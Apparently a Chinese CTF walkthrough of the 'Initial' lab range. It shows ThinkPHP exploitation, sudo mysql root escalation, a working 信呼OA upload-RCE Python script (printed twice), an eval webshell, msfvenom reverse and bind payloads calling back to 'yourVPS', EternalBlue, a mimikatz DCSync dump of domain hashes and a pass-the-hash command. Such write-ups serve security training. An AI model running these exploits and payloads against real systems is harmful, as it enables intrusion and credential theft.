靶标介绍:
Initial是一套难度为简单的靶场环境,完成该挑战可以帮助玩家初步认识内网渗透的简单流程。该靶场只有一个flag,各部分位于不同的机器上。
技术点:
DCSync、CVE、域渗透
外网打点:
这里我使用Kscan对IP进行扫描,可以看到开放了ssh和http服务
打开Web页面,在ico图标处可以看到是ThinkPHP
使用ThinkphpGUI By 莲花工具检测Thinkphp漏洞出来后,上马
提权:
在尝试suid提权无果后,使用sudo提权方式
可以看到 mysql 是配置了 sudo 免密使用的,可以使用 mysql 命令暂时获取 root 权限,想要执行其他命令,可以使用 mysql -e 模式
获得flag01
sudo mysql -e '! cat /root/flag/flag01.txt'
内网穿透和内网横向移动:
在蚁剑上传基于HTTP内网穿透隧道的Neo-reGeorg-master工具的php脚本和内网大杀器Fscan
查看网卡信息,发现内网网段 172.22.1.0/24
从中可以知道我们的目标:
172.22.1.2:DC域控
172.22.1.21:Windows的机器并且存在MS17-010 漏洞
172.22.1.18:信呼OA办公系统
先打信呼OA
neoreg进行代理
然后在Proxifier进行全局代理
访问目标内网信呼OA
这里在尝试出弱口令 admin/admin123就成功登录了进去
通过网上查阅,发现存在一个信呼OA RCE的漏洞
EXP 如下,不过要准备一个shell.php放在脚本相同的目录下,内容为一句话木马
我这里的一句话木马内容为:<?=eval($_POST[hacker]);?>
import requests session = requests.session() url_pre = 'http://172.22.1.18/' url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953' url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913' url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11' data1 = { 'rempass': '0', 'jmpass': 'false', 'device': '1625884034525', 'ltype': '0', 'adminuser': 'YWRtaW4=::', 'adminpass': 'YWRtaW4xMjM=', 'yanzm': '' } r = session.post(url1, data=data1) r = session.post(url2, files={'file': open('1.php', 'r+')}) filepath = str(r.json()['filepath']) filepath = "/" + filepath.split('.uptemp')[0] + '.php' id = r.json()['id'] url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}' r = session.get(url3) r = session.get(url_pre + filepath) print(r.text) print(url_pre + filepath) ```python import requests session = requests.session() url_pre = 'http://172.22.1.18/' url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953' url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913' url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11' data1 = { 'rempass': '0', 'jmpass': 'false', 'device': '1625884034525', 'ltype': '0', 'adminuser': 'YWRtaW4=::', 'adminpass': 'YWRtaW4xMjM=', 'yanzm': '' } r = session.post(url1, data=data1) r = session.post(url2, files={'file': open('1.php', 'r+')}) filepath = str(r.json()['filepath']) filepath = "/" + filepath.split('.uptemp')[0] + '.php' id = r.json()['id'] url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}' r = session.get(url3) r = session.get(url_pre + filepath) print(r.text) print(url_pre + filepath)
不过我们还得先将第一台linux机器建立一个Meterpreter会话
Meterpreter生成linux木马命令:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=yourVPS LPORT=443 -f elf -o shellrawss
然后python开启一个HTTP服务
获得Meterpreter会话
然后添加路由
在开启一个Socks5服务
进行proxychains python3 exp.py获得Webshell
连接 webshell,找到第二个 flag
可以看到当前权限是system
之前用 msf 打一直连接不上,后来才发现机器不出网,需要正向的payload, msf默认会给你加载反弹 shell
MSF生成一个x64的Windows正向木马
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f exe -o KHG.exe
蚁剑上传
获得Meterpreter会话
接下来横向172.22.1.21的永恒之蓝
proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit
DCSync攻击:
DCSync的原理是利用域控制器之间的数据同步复制
DCSync是AD域渗透中常用的凭据窃取手段,默认情况下,域内不同DC每隔15分钟会进行一次数据同步,当一个DC从另外一个DC同步数据时,发起请求的一方会通过目录复制协议(MS- DRSR)来对另外一台域控中的域用户密码进行复制,DCSync就是利用这个原理,“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据,由于这种攻击利用了Windows RPC协议,并不需要登陆域控或者在域控上落地文件,避免触发EDR告警,因此DCSync时一种非常隐蔽的凭据窃取方式
DCSync 攻击前提:
想进行DCSync 攻击,必须获得以下任一用户的权限:
Administrators 组内的用户
Domain Admins 组内的用户
Enterprise Admins 组内的用户域控制器的计算机帐户
即:默认情况下域管理员组具有该权限
我们在获得的MS17-010这台机器加载mimikatz,并且本机是system权限
加载mimikatz
meterpreter> load kiwi
meterpreter> kiwi_cmd privilege::debug(提升权限,这个需要system权限)
导出域内哈希:
meterpreter > kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv
[DC] 'xiaorang.lab' will be the domain
[DC] 'DC01.xiaorang.lab' will be the DC server
[DC] Exporting domain 'xiaorang.lab'
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
500 Administrator 10cf89a850fb1cdbe6bb432b859164c8 512
502 krbtgt fb812eea13a18b7fcdb8e6d67ddc205b 514
1106 Marcus e07510a4284b3c97c8e7dee970918c5c 512
1107 Charles f6a9881cd5ae709abb4ac9ab87f24617 512
1000 DC01$ edc506302bf9b040febfb84a1459c0e8 532480
1104 XIAORANG-OA01$ 673ec2d0ad2f73341c4b3e1fc2fbade5 4096
1103 XIAORANG-WIN7$ 507797b66f76b8b71d20555b0c59f86d 4096
哈希传递,拿下域控制器:
由于获得了域管理员账户,直接通过哈希传递就能拿下域控,crackmapexec来进行哈希传递PTH
proxychains crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
获得了最后的flag03